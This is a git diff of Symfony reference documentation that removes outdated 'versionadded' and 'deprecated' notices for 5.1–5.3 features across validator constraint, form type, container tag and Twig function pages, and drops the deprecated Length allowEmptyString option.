diff --git a/reference/constraints/Count.rst b/reference/constraints/Count.rst
index dbb20f953b7..6a508543655 100644
--- a/reference/constraints/Count.rst
+++ b/reference/constraints/Count.rst
@@ -126,10 +126,6 @@ Options
 
 **type**: ``integer`` **default**: null
 
-.. versionadded:: 5.1
-
-    The ``divisibleBy`` option was introduced in Symfony 5.1.
-
 Validates that the number of elements of the given collection is divisible by
 a certain number.
 
@@ -144,10 +140,6 @@ a certain number.
 
 **type**: ``string`` **default**: ``The number of elements in this collection should be a multiple of {{ compared_value }}.``
 
-.. versionadded:: 5.1
-
-    The ``divisibleByMessage`` option was introduced in Symfony 5.1.
-
 The message that will be shown if the number of elements of the given collection
 is not divisible by the number defined in the ``divisibleBy`` option.
 
diff --git a/reference/constraints/Country.rst b/reference/constraints/Country.rst
index 62bf38bf2ba..99e1d42a2d9 100644
--- a/reference/constraints/Country.rst
+++ b/reference/constraints/Country.rst
@@ -93,10 +93,6 @@ Options
 alpha3
 ~~~~~~
 
-.. versionadded:: 5.1
-
-    The ``alpha3`` option was introduced in Symfony 5.1.
-
 **type**: ``boolean`` **default**: ``false``
 
 If this option is ``true``, the constraint checks that the value is a
diff --git a/reference/constraints/Currency.rst b/reference/constraints/Currency.rst
index e481c0ce01d..343e0cad467 100644
--- a/reference/constraints/Currency.rst
+++ b/reference/constraints/Currency.rst
@@ -110,10 +110,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`3-letter ISO 4217`: https://en.wikipedia.org/wiki/ISO_4217
diff --git a/reference/constraints/Date.rst b/reference/constraints/Date.rst
index 7376195960a..473c32b8586 100644
--- a/reference/constraints/Date.rst
+++ b/reference/constraints/Date.rst
@@ -114,8 +114,4 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst
index d9edf839100..8013683b9ec 100644
--- a/reference/constraints/DateTime.rst
+++ b/reference/constraints/DateTime.rst
@@ -126,8 +126,4 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index ba09d82418d..d3c55dd9de6 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -119,10 +119,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 ``mode``
 ~~~~~~~~
 
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 6d0b564841a..780bd2ac4b6 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -299,10 +299,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 ``values``
diff --git a/reference/constraints/ExpressionLanguageSyntax.rst b/reference/constraints/ExpressionLanguageSyntax.rst
index 0ab308e6bae..d336413099d 100644
--- a/reference/constraints/ExpressionLanguageSyntax.rst
+++ b/reference/constraints/ExpressionLanguageSyntax.rst
@@ -4,10 +4,6 @@ ExpressionLanguageSyntax
 This constraint checks that the value is valid as an `ExpressionLanguage`_
 expression.
 
-.. versionadded:: 5.1
-
-    The ``ExpressionLanguageSyntax`` constraint was introduced in Symfony 5.1.
-
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
 Options     - `allowedVariables`_
diff --git a/reference/constraints/Hostname.rst b/reference/constraints/Hostname.rst
index 0b0a02bbb60..ac7382f0b4f 100644
--- a/reference/constraints/Hostname.rst
+++ b/reference/constraints/Hostname.rst
@@ -5,10 +5,6 @@ This constraint ensures that the given value is a valid host name (internally it
 uses the ``FILTER_VALIDATE_DOMAIN`` option of the :phpfunction:`filter_var` PHP
 function).
 
-.. versionadded:: 5.1
-
-    The ``Hostname`` constraint was introduced in Symfony 5.1.
-
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
 Options     - `groups`_
@@ -126,10 +122,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 ``requireTld``
diff --git a/reference/constraints/Iban.rst b/reference/constraints/Iban.rst
index dcd60e3f408..5af328bb34d 100644
--- a/reference/constraints/Iban.rst
+++ b/reference/constraints/Iban.rst
@@ -126,10 +126,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`International Bank Account Number (IBAN)`: https://en.wikipedia.org/wiki/International_Bank_Account_Number
diff --git a/reference/constraints/Ip.rst b/reference/constraints/Ip.rst
index a39b6158a42..3b9fff537a6 100644
--- a/reference/constraints/Ip.rst
+++ b/reference/constraints/Ip.rst
@@ -111,10 +111,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/IsFalse.rst b/reference/constraints/IsFalse.rst
index fa7aa926319..c3e6f3b2abe 100644
--- a/reference/constraints/IsFalse.rst
+++ b/reference/constraints/IsFalse.rst
@@ -148,8 +148,4 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/IsNull.rst b/reference/constraints/IsNull.rst
index 6fcd1e462ad..ddc52d34675 100644
--- a/reference/constraints/IsNull.rst
+++ b/reference/constraints/IsNull.rst
@@ -112,8 +112,4 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/IsTrue.rst b/reference/constraints/IsTrue.rst
index d1d4bb3e90d..8de7e8c6f1e 100644
--- a/reference/constraints/IsTrue.rst
+++ b/reference/constraints/IsTrue.rst
@@ -152,8 +152,4 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index 265f21c3f64..e04f413e453 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -128,10 +128,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_groups-option.rst.inc
 
 ``isbn10Message``
@@ -151,10 +147,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 ``isbn13Message``
 ~~~~~~~~~~~~~~~~~
 
@@ -172,10 +164,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 ``message``
 ~~~~~~~~~~~
 
@@ -193,10 +181,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 ``type``
diff --git a/reference/constraints/Isin.rst b/reference/constraints/Isin.rst
index 3efab915437..aa2c673ebb1 100644
--- a/reference/constraints/Isin.rst
+++ b/reference/constraints/Isin.rst
@@ -108,10 +108,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`International Securities Identification Number (ISIN)`: https://en.wikipedia.org/wiki/International_Securities_Identification_Number
diff --git a/reference/constraints/Issn.rst b/reference/constraints/Issn.rst
index 3007f60a261..1f73c5bf8f0 100644
--- a/reference/constraints/Issn.rst
+++ b/reference/constraints/Issn.rst
@@ -118,10 +118,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 ``requireHyphen``
diff --git a/reference/constraints/Language.rst b/reference/constraints/Language.rst
index 0d9522dc882..251b7cd222c 100644
--- a/reference/constraints/Language.rst
+++ b/reference/constraints/Language.rst
@@ -94,10 +94,6 @@ Options
 alpha3
 ~~~~~~
 
-.. versionadded:: 5.1
-
-    The ``alpha3`` option was introduced in Symfony 5.1.
-
 **type**: ``boolean`` **default**: ``false``
 
 If this option is ``true``, the constraint checks that the value is a
@@ -122,10 +118,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 0dd5e829aea..749242a7a4b 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -5,8 +5,7 @@ Validates that a given string length is *between* some minimum and maximum value
 
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
-Options     - `allowEmptyString`_
-            - `charset`_
+Options     - `charset`_
             - `charsetMessage`_
             - `exactMessage`_
             - `groups`_
@@ -129,26 +128,6 @@ and ``50``, you might add the following:
 Options
 -------
 
-``allowEmptyString``
-~~~~~~~~~~~~~~~~~~~~
-
-**type**: ``boolean``  **default**: ``false``
-
-.. deprecated:: 5.2
-
-    The ``allowEmptyString`` option is deprecated since Symfony 5.2. If you
-    want to allow empty strings too, combine the ``Length`` constraint with
-    the :doc:`Blank constraint </reference/constraints/Blank>` inside the
-    :doc:`AtLeastOneOf constraint </reference/constraints/AtLeastOneOf>`.
-
-If set to ``true``, empty strings are considered valid (which is the same
-behavior as previous Symfony versions). The default ``false`` value considers
-empty strings not valid.
-
-.. caution::
-
-    This option does not have any effect when no minimum length is given.
-
 ``charset``
 ~~~~~~~~~~~
 
diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst
index 936cfd24089..3ab2bfa27f0 100644
--- a/reference/constraints/Locale.rst
+++ b/reference/constraints/Locale.rst
@@ -125,10 +125,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`ICU format locale IDs`: http://userguide.icu-project.org/locale
diff --git a/reference/constraints/Luhn.rst b/reference/constraints/Luhn.rst
index 24eb9b91947..31afb4f92dc 100644
--- a/reference/constraints/Luhn.rst
+++ b/reference/constraints/Luhn.rst
@@ -117,10 +117,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`Luhn algorithm`: https://en.wikipedia.org/wiki/Luhn_algorithm
diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst
index 154294acf42..a4667b44e0f 100644
--- a/reference/constraints/NotBlank.rst
+++ b/reference/constraints/NotBlank.rst
@@ -121,10 +121,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/NotNull.rst b/reference/constraints/NotNull.rst
index ccf8839434d..c326ddfdaaa 100644
--- a/reference/constraints/NotNull.rst
+++ b/reference/constraints/NotNull.rst
@@ -110,8 +110,4 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/Range.rst b/reference/constraints/Range.rst
index 64d2ea6c0d4..b28588ba3ef 100644
--- a/reference/constraints/Range.rst
+++ b/reference/constraints/Range.rst
@@ -387,10 +387,6 @@ Options
 
 **type**: ``string`` **default**: ``This value should be a valid number.``
 
-.. versionadded:: 5.2
-
-    The ``invalidDateTimeMessage`` option was introduced in Symfony 5.2.
-
 The message displayed when the ``min`` and ``max`` values are PHP datetimes but
 the given value is not.
 
@@ -419,10 +415,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 ``max``
 ~~~~~~~
 
diff --git a/reference/constraints/Regex.rst b/reference/constraints/Regex.rst
index 565e62db5e6..0580dfecbd8 100644
--- a/reference/constraints/Regex.rst
+++ b/reference/constraints/Regex.rst
@@ -324,10 +324,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 ``pattern``
 ~~~~~~~~~~~
 
diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index da7bd16f4b2..f30bd2a4126 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -7,10 +7,6 @@ step-by-step, allowing to interrupt the validation once the first violation is r
 As an alternative in situations ``Sequentially`` cannot solve, you may consider
 using :doc:`GroupSequence </validation/sequence_provider>` which allows more control.
 
-.. versionadded:: 5.1
-
-    The ``Sequentially`` constraint was introduced in Symfony 5.1.
-
 ==========  ===================================================================
 Applies to  :ref:`property or method <validation-property-target>`
 Options     - `constraints`_
diff --git a/reference/constraints/Time.rst b/reference/constraints/Time.rst
index fb8a9b337fb..813c5d24ce9 100644
--- a/reference/constraints/Time.rst
+++ b/reference/constraints/Time.rst
@@ -120,8 +120,4 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
diff --git a/reference/constraints/Timezone.rst b/reference/constraints/Timezone.rst
index e3b5a787150..ae1e45a17f3 100644
--- a/reference/constraints/Timezone.rst
+++ b/reference/constraints/Timezone.rst
@@ -139,10 +139,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 ``zone``
diff --git a/reference/constraints/Type.rst b/reference/constraints/Type.rst
index 4efa0d9ec0b..b384a94ddf2 100644
--- a/reference/constraints/Type.rst
+++ b/reference/constraints/Type.rst
@@ -193,10 +193,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _reference-constraint-type-type:
diff --git a/reference/constraints/Ulid.rst b/reference/constraints/Ulid.rst
index 92315089350..d145dbcc3f7 100644
--- a/reference/constraints/Ulid.rst
+++ b/reference/constraints/Ulid.rst
@@ -1,10 +1,6 @@
 ULID
 ====
 
-.. versionadded:: 5.2
-
-    The ULID validator was introduced in Symfony 5.2.
-
 Validates that a value is a valid `Universally Unique Lexicographically Sortable Identifier (ULID)`_.
 
 ==========  ===================================================================
diff --git a/reference/constraints/Unique.rst b/reference/constraints/Unique.rst
index 6b6d363acf1..22a1277243f 100644
--- a/reference/constraints/Unique.rst
+++ b/reference/constraints/Unique.rst
@@ -130,10 +130,6 @@ Parameter                      Description
 
 **type**: a `PHP callable`_ **default**: ``null``
 
-.. versionadded:: 5.3
-
-    The ``normalizer`` option was introduced in Symfony 5.3.
-
 This option defined the PHP callable applied to each element of the given
 collection before checking if the collection is valid.
 
diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst
index 13f08952b24..5b957d9055c 100644
--- a/reference/constraints/UniqueEntity.rst
+++ b/reference/constraints/UniqueEntity.rst
@@ -353,10 +353,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 ``repositoryMethod``
diff --git a/reference/constraints/Url.rst b/reference/constraints/Url.rst
index 2d8922909c5..87c4061abb9 100644
--- a/reference/constraints/Url.rst
+++ b/reference/constraints/Url.rst
@@ -114,10 +114,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. configuration-block::
 
     .. code-block:: php-annotations
diff --git a/reference/constraints/Uuid.rst b/reference/constraints/Uuid.rst
index 22b00c331c9..724718921ed 100644
--- a/reference/constraints/Uuid.rst
+++ b/reference/constraints/Uuid.rst
@@ -113,10 +113,6 @@ Parameter        Description
 ``{{ label }}``  Corresponding form field label
 ===============  ==============================================================
 
-.. versionadded:: 5.2
-
-    The ``{{ label }}`` parameter was introduced in Symfony 5.2.
-
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 
 .. include:: /reference/constraints/_payload-option.rst.inc
@@ -151,10 +147,6 @@ The following PHP constants can also be used:
 
 All six versions are allowed by default.
 
-.. versionadded:: 5.2
-
-    The UUID 6 version support was introduced in Symfony 5.2.
-
 .. _`Universally unique identifier (UUID)`: https://en.wikipedia.org/wiki/Universally_unique_identifier
 .. _`RFC 4122`: https://tools.ietf.org/html/rfc4122
 .. _`UUID versions`: https://en.wikipedia.org/wiki/Universally_unique_identifier#Versions
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index ad7d876523c..108e505e339 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -13,10 +13,6 @@ assets.package
 
 **Purpose**: Add an asset package to the application
 
-.. versionadded:: 5.3
-
-    The ``assets.package`` tag was introduced in Symfony 5.3.
-
 This is an alternative way to declare an :ref:`asset package <asset-packages>`.
 The name of the package is set in this order:
 
@@ -195,13 +191,6 @@ wrapping their names with ``%`` characters).
     sense most of the times to prevent accessing those services directly instead
     of using the generic service alias.
 
-.. versionadded:: 5.1
-
-    In Symfony versions prior to 5.1, you needed to manually add the
-    ``Symfony\Component\DependencyInjection\Compiler\AutoAliasServicePass``
-    compiler pass to the container for this feature to work. This compiler pass
-    is now added automatically.
-
 console.command
 ---------------
 
@@ -234,10 +223,6 @@ container.no_preload
 
 **Purpose**: Remove a class from the list of classes preloaded by PHP
 
-.. versionadded:: 5.1
-
-    The ``container.no_preload`` tag was introduced in Symfony 5.1.
-
 Add this tag to a service and its class won't be preloaded when using
 `PHP class preloading`_:
 
@@ -284,10 +269,6 @@ container.preload
 
 **Purpose**: Add some class to the list of classes preloaded by PHP
 
-.. versionadded:: 5.1
-
-    The ``container.preload`` tag was introduced in Symfony 5.1.
-
 When using `PHP class preloading`_, this tag allows you to define which PHP
 classes should be preloaded. This can improve performance by making some of the
 classes used by your service always available for all requests (until the server
@@ -515,12 +496,7 @@ the :class:`Symfony\\Component\\HttpKernel\\CacheWarmer\\CacheWarmerInterface` i
 The ``warmUp()`` method must return an array with the files and classes to
 preload. Files must be absolute paths and classes must be fully-qualified class
 names. The only restriction is that files must be stored in the cache directory.
-If you don't need to preload anything, return an empty array
-
-.. deprecated:: 5.1
-
-    Not returning an array from the ``warmUp()`` method with the files to
-    preload is deprecated since Symfony 5.1.
+If you don't need to preload anything, return an empty array.
 
 The ``isOptional()`` method should return true if it's possible to use the
 application without calling this cache warmer. In Symfony, optional warmers
diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index d01d90f262d..2c14806b707 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -188,11 +188,6 @@ To get fancier, use the `group_by`_ option instead.
 Field Options
 -------------
 
-.. versionadded:: 5.1
-
-    The :class:`Symfony\\Component\\Form\\ChoiceList\\ChoiceList` class was
-    introduced in Symfony 5.1, to help configuring choices options.
-
 choices
 ~~~~~~~
 
diff --git a/reference/forms/types/color.rst b/reference/forms/types/color.rst
index 6bbc28da2a7..0731edbecd4 100644
--- a/reference/forms/types/color.rst
+++ b/reference/forms/types/color.rst
@@ -57,10 +57,6 @@ html5
 
 **type**: ``boolean`` **default**: ``false``
 
-.. versionadded:: 5.1
-
-    This option was introduced in Symfony 5.1.
-
 When this option is set to ``true``, the form type checks that its value matches
 the `HTML5 color format`_ (``/^#[0-9a-f]{6}$/i``). If it doesn't match it,
 you'll see the following error message: *"This value is not a valid HTML5 color"*.
diff --git a/reference/forms/types/integer.rst b/reference/forms/types/integer.rst
index 4ab06627214..3f3b93a53cb 100644
--- a/reference/forms/types/integer.rst
+++ b/reference/forms/types/integer.rst
@@ -88,12 +88,6 @@ is a constant on the :phpclass:`NumberFormatter` class:
   "nearest neighbor". If both neighbors are equidistant, round up. It rounds
   ``2.5`` to ``3``, ``1.6`` and ``1.5`` to ``2`` and ``1.4`` to ``1``.
 
-.. deprecated:: 5.1
-
-    In Symfony versions prior to 5.1, these constants were also defined as aliases
-    in the :class:`Symfony\\Component\\Form\\Extension\\Core\\DataTransformer\\NumberToLocalizedStringTransformer`
-    class, but they are now deprecated in favor of the :phpclass:`NumberFormatter` constants.
-
 Overridden Options
 ------------------
 
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index f74016d1a0c..658dfdc7b5b 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -85,10 +85,6 @@ choice_self_translation
 
 **type**: ``boolean`` **default**: ``false``
 
-.. versionadded:: 5.1
-
-    The ``choice_self_translation`` option was introduced in Symfony 5.1.
-
 By default, language names are translated into the current locale of the
 application. For example, when browsing the application in English, you'll get
 an array like ``[..., 'cs' => 'Czech', ..., 'es' => 'Spanish', ..., 'zh' => 'Chinese']``
diff --git a/reference/forms/types/money.rst b/reference/forms/types/money.rst
index 162d8543b20..2fde165617b 100644
--- a/reference/forms/types/money.rst
+++ b/reference/forms/types/money.rst
@@ -99,10 +99,6 @@ html5
 
 **type**: ``boolean`` **default**: ``false``
 
-.. versionadded:: 5.2
-
-    This option was introduced in Symfony 5.2.
-
 If set to ``true``, the HTML input will be rendered as a native HTML5
 ``<input type="number">`` element.
 
diff --git a/reference/forms/types/options/choice_filter.rst.inc b/reference/forms/types/options/choice_filter.rst.inc
index d7563dc8a1c..b220d12fd1d 100644
--- a/reference/forms/types/options/choice_filter.rst.inc
+++ b/reference/forms/types/options/choice_filter.rst.inc
@@ -3,10 +3,6 @@
 
 **type**: ``callable``, ``string`` or :class:`Symfony\\Component\\PropertyAccess\\PropertyPath` **default**: ``null``
 
-.. versionadded:: 5.1
-
-    The ``choice_filter`` option has been introduced in Symfony 5.1.
-
 When using predefined choice types from Symfony core or vendor libraries (i.e.
 :doc:`CountryType </reference/forms/types/country>`) this option lets you
 define a callable that takes each choice as the only argument and must return
diff --git a/reference/forms/types/options/extra_fields_message.rst.inc b/reference/forms/types/options/extra_fields_message.rst.inc
index 5c969f7afce..4608c0a04dd 100644
--- a/reference/forms/types/options/extra_fields_message.rst.inc
+++ b/reference/forms/types/options/extra_fields_message.rst.inc
@@ -1,10 +1,6 @@
 ``extra_fields_message``
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    Pluralization support was introduced in Symfony 5.1.
-
 **type**: ``string`` **default**: ``This form should not contain extra fields.``
 
 This is the validation error message that's used if the submitted form data
diff --git a/reference/forms/types/options/label_html.rst.inc b/reference/forms/types/options/label_html.rst.inc
index a87ad4ab6db..36f531a394d 100644
--- a/reference/forms/types/options/label_html.rst.inc
+++ b/reference/forms/types/options/label_html.rst.inc
@@ -3,10 +3,6 @@
 
 **type**: ``boolean`` **default**: ``false``
 
-.. versionadded:: 5.1
-
-	The ``label_html`` option was introduced in Symfony 5.1.
-
 By default, the contents of the ``label`` option are escaped before rendering
 them in the template. Set this option to ``true`` to not escape them, which is
 useful when the label contains HTML elements.
diff --git a/reference/forms/types/options/priority.rst.inc b/reference/forms/types/options/priority.rst.inc
index 8f53a05c9ab..78bfccd87fb 100644
--- a/reference/forms/types/options/priority.rst.inc
+++ b/reference/forms/types/options/priority.rst.inc
@@ -3,10 +3,6 @@ priority
 
 **type**: ``integer`` **default**: ``0``
 
-.. versionadded:: 5.3
-
-    The ``priority`` option was introduced in Symfony 5.3.
-
 Fields are rendered in the same order as they are included in the form. This
 option changes the field rendering priority, allowing you to display fields
 earlier or later than their original order.
diff --git a/reference/forms/types/options/rounding_mode.rst.inc b/reference/forms/types/options/rounding_mode.rst.inc
index 525f5d99cdf..c1d9a0b52f4 100644
--- a/reference/forms/types/options/rounding_mode.rst.inc
+++ b/reference/forms/types/options/rounding_mode.rst.inc
@@ -30,9 +30,3 @@ on the :phpclass:`NumberFormatter` class:
 * ``\NumberFormatter::ROUND_HALFUP`` Round towards the
   "nearest neighbor". If both neighbors are equidistant, round up. It rounds
   ``2.5`` to ``3``, ``1.6`` and ``1.5`` to ``2`` and ``1.4`` to ``1``.
-
-.. deprecated:: 5.1
-
-    In Symfony versions prior to 5.1, these constants were also defined as aliases
-    in the :class:`Symfony\\Component\\Form\\Extension\\Core\\DataTransformer\\NumberToLocalizedStringTransformer`
-    class, but they are now deprecated in favor of the :phpclass:`NumberFormatter` constants.
diff --git a/reference/forms/types/percent.rst b/reference/forms/types/percent.rst
index 36ffdcc1e1b..e6ffbd59939 100644
--- a/reference/forms/types/percent.rst
+++ b/reference/forms/types/percent.rst
@@ -57,19 +57,11 @@ Field Options
 
 .. include:: /reference/forms/types/options/rounding_mode.rst.inc
 
-.. versionadded:: 5.1
-
-    The ``rounding_mode`` option was introduced in Symfony 5.1.
-
 html5
 ~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
-.. versionadded:: 5.2
-
-    This option was introduced in Symfony 5.2.
-
 If set to ``true``, the HTML input will be rendered as a native HTML5
 ``<input type="number">`` element.
 
diff --git a/reference/forms/types/ulid.rst b/reference/forms/types/ulid.rst
index 26ffa1856e2..0951040b623 100644
--- a/reference/forms/types/ulid.rst
+++ b/reference/forms/types/ulid.rst
@@ -4,10 +4,6 @@
 UlidType Field
 ==============
 
-.. versionadded:: 5.3
-
-    The ``UlidType`` field was introduced in Symfony 5.3.
-
 Renders an input text field with the ULID string value and transforms it back to
 a proper :ref:`Ulid object <ulid>` when submitting the form.
 
diff --git a/reference/forms/types/uuid.rst b/reference/forms/types/uuid.rst
index dd478140ba9..a57041dcae0 100644
--- a/reference/forms/types/uuid.rst
+++ b/reference/forms/types/uuid.rst
@@ -4,10 +4,6 @@
 UuidType Field
 ==============
 
-.. versionadded:: 5.3
-
-    The ``UuidType`` field was introduced in Symfony 5.3.
-
 Renders an input text field with the UUID string value and transforms it back to
 a proper :ref:`Uuid object <uuid>` when submitting the form.
 
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index e4991845096..7a915af5203 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -277,10 +277,6 @@ impersonation_exit_path
 ``exitTo`` *(optional)*
     **type**: ``string``
 
-.. versionadded:: 5.2
-
-    The ``impersonation_exit_path()`` function was introduced in Symfony 5.2.
-
 Generates a URL that you can visit to exit :doc:`user impersonation </security/impersonating_user>`.
 After exiting impersonation, the user is redirected to the current URI. If you
 prefer to redirect to a different URI, define its value in the ``exitTo`` argument.
@@ -297,10 +293,6 @@ impersonation_exit_url
 ``exitTo`` *(optional)*
     **type**: ``string``
 
-.. versionadded:: 5.2
-
-    The ``impersonation_exit_url()`` function was introduced in Symfony 5.2.
-
